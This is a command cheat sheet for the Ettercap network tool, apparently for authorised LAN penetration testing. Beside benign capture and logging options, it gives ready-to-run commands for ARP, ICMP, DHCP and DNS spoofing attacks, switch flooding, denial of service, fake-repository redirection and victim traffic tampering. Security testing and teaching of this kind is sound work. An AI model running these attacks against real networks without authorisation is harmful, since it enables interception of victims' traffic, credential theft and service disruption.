ettercap --helpDisplays the help screen listing all available command-line options and flags.
A suite for man-in-the-middle attacks on LANs: ARP poisoning, sniffing and content filtering, for authorised testing.
sudo apt install ettercap-text-onlyettercap -ILists all available network interfaces that Ettercap can utilize for sniffing.
ettercap -T -i eth0Starts Ettercap in text-only mode on the specified interface without a graphical interface.
ettercap -C -i eth0Launches Ettercap in Curses mode, providing a semi-interactive text-based user interface.
ettercap -T -i eth0 -n 192.168.1.0/24Sniffs traffic strictly on the specified network mask, ignoring other packets.
ettercap -T -i eth0 -RReverses packet matching logic, capturing only traffic that does NOT match target specifications.
ettercap -D -i eth0Runs Ettercap in daemon mode as a background process.
ettercap -T -p -i eth0Disables promiscuous mode, processing only packets addressed to the sniffing interface.
ettercap -T -u -i eth0Runs in unoffensive mode, preventing the tool from forwarding packets, useful for passive validation.
ettercap -T -i eth0 -P find_connEnumerates all active connections on the LAN to map current communication flows.
ettercap -T -i eth0 -P find_ettercapAttempts to detect other instances of Ettercap running on the network.
ettercap -T -i eth0 -P fingerprintPassively fingerprints the operating systems of remote hosts based on traffic analysis.
ettercap -T -i eth0 -w traffic.pcapCaptures sniffed traffic and writes it to a standard pcap file for later analysis.
ettercap -T -r traffic.pcapReads and analyzes packets from an existing pcap file instead of a live interface.
ettercap -T -i eth0 -L logfileLogs all capturing information and traffic details to binary log files prefixed with 'logfile'.
ettercap -T -i eth0 -m messages.logLogs only the internal Ettercap messages and alerts to a text file.
ettercap -T -i eth0 -l /tmp/ettercap_infoLogs passive information about discovered hosts and ports to the specified file path.
ettercap -T -M arp:remote -i eth0 /192.168.1.10// /192.168.1.1//Performs a standard ARP poisoning MITM attack targeting a victim IP and the gateway.
ettercap -T -M arp:remote:oneway -i eth0 /192.168.1.10// /192.168.1.1//Executes one-way ARP poisoning, spoofing only from victim to gateway but not the reverse.
ettercap -T -M arp:remote -i eth0 // //Targets every host in the subnet for ARP poisoning (global poisoning).
ettercap -T -M arp:remote -i eth0 /192.168.1.10// /192.168.1.20//Performs ARP poisoning between two specific clients, excluding the gateway.
ettercap -T -M arp:remote -i eth0 /192.168.1.10/21,22,80,443/Targets a specific IP but only on FTP, SSH, HTTP, and HTTPS ports.
ettercap -T -M icmp:00:11:22:33:44:55/10.0.0.1 -i eth0Performs an ICMP redirection MITM attack spoofing the MAC and IP of a gateway.
ettercap -T -M dhcp:192.168.1.50,255.255.255.0,192.168.1.1 -i eth0Launches a DHCP spoofing attack, offering an IP, netmask, and DNS server to requesting clients.
ettercap -T -M port:remote:tree -i eth0 /192.168.1.10//Uses Port Stealing MITM (useful where ARP is blocked) to intercept switch traffic using spanning tree.
ettercap -P listDisplays a list of all installed and available plugins.
ettercap -T -M arp:remote -P dns_spoof -i eth0 /192.168.1.10// //Combines ARP poisoning with the DNS spoofing plugin to resolve domains to an attacker-controlled IP.
ettercap -T -M arp:remote -P isolate -i eth0 /192.168.1.10// //Uses the isolate plugin during ARP poisoning to completely cut off the victim's LAN internet access.
ettercap -T -M arp:remote -P chk_poison -i eth0Verifies if the ARP poisoning attack is successful on the victim side.
ettercap -T -q -M arp:remote -i eth0 -P rand_floodFloods the LAN with random MAC addresses to overflow switch CAM tables.
ettercap -T -M arp:remote -P autoadd -i eth0Automatically adds new hosts discovered on the network to the ARP poisoning target list dynamically.
ettercap -T -M arp:remote -i eth0 -P repo_poisonRedirects Linux package manager traffic to a fake repository during an update.
ettercap -T -M arp:remote -i eth0 -P dos_attackRuns a Denial of Service attack against a specific victim using the plugin interface.
ettercap -GLaunches the GTK+ graphical interface (useful for beginners or visualization).
ettercap -T -i eth0 --script commands.ettExecutes a sequence of Ettercap commands defined in an external script file.
ettercap -T -M arp:remote -i eth0 -P remote_browserSniffs URLs visited by the victim and logs them using the remote browser plugin.
ettercap -T -i eth0 -P mdns_spoofSpoofs Multicast DNS (mDNS) responses to intercept local name resolution traffic.
ettercap -T -M arp:remote -i eth0 -P nbns_spoofSpoofs NetBIOS Name Service (NBNS) queries to redirect Windows network traffic.
ettercap -T -q -i eth0 -M arp:remote // // -P autoadd &Runs a quiet, global ARP poisoning attack in the background with auto-target addition.
ettercap -T -i eth0 -pSniffs in non-promiscuous mode, analyzing only packets sent to the machine's IP.
ettercap -T -i eth0 -VVisualizes the format of packets in text mode to understand decoding structure.
ettercap -T -i eth0 -F replace_img.efUses a filter to replace image data in HTTP streams with a custom image.
The classic packet capture tool: capture and filter traffic with BPF expressions and write it to pcap files for later analysis.
Wireshark’s terminal version: capture and decode traffic with full dissectors and display filters, and extract fields to text.
Discovers every device on the local network segment by sending ARP requests — finds hosts that ignore ping and identifies vendors by MAC.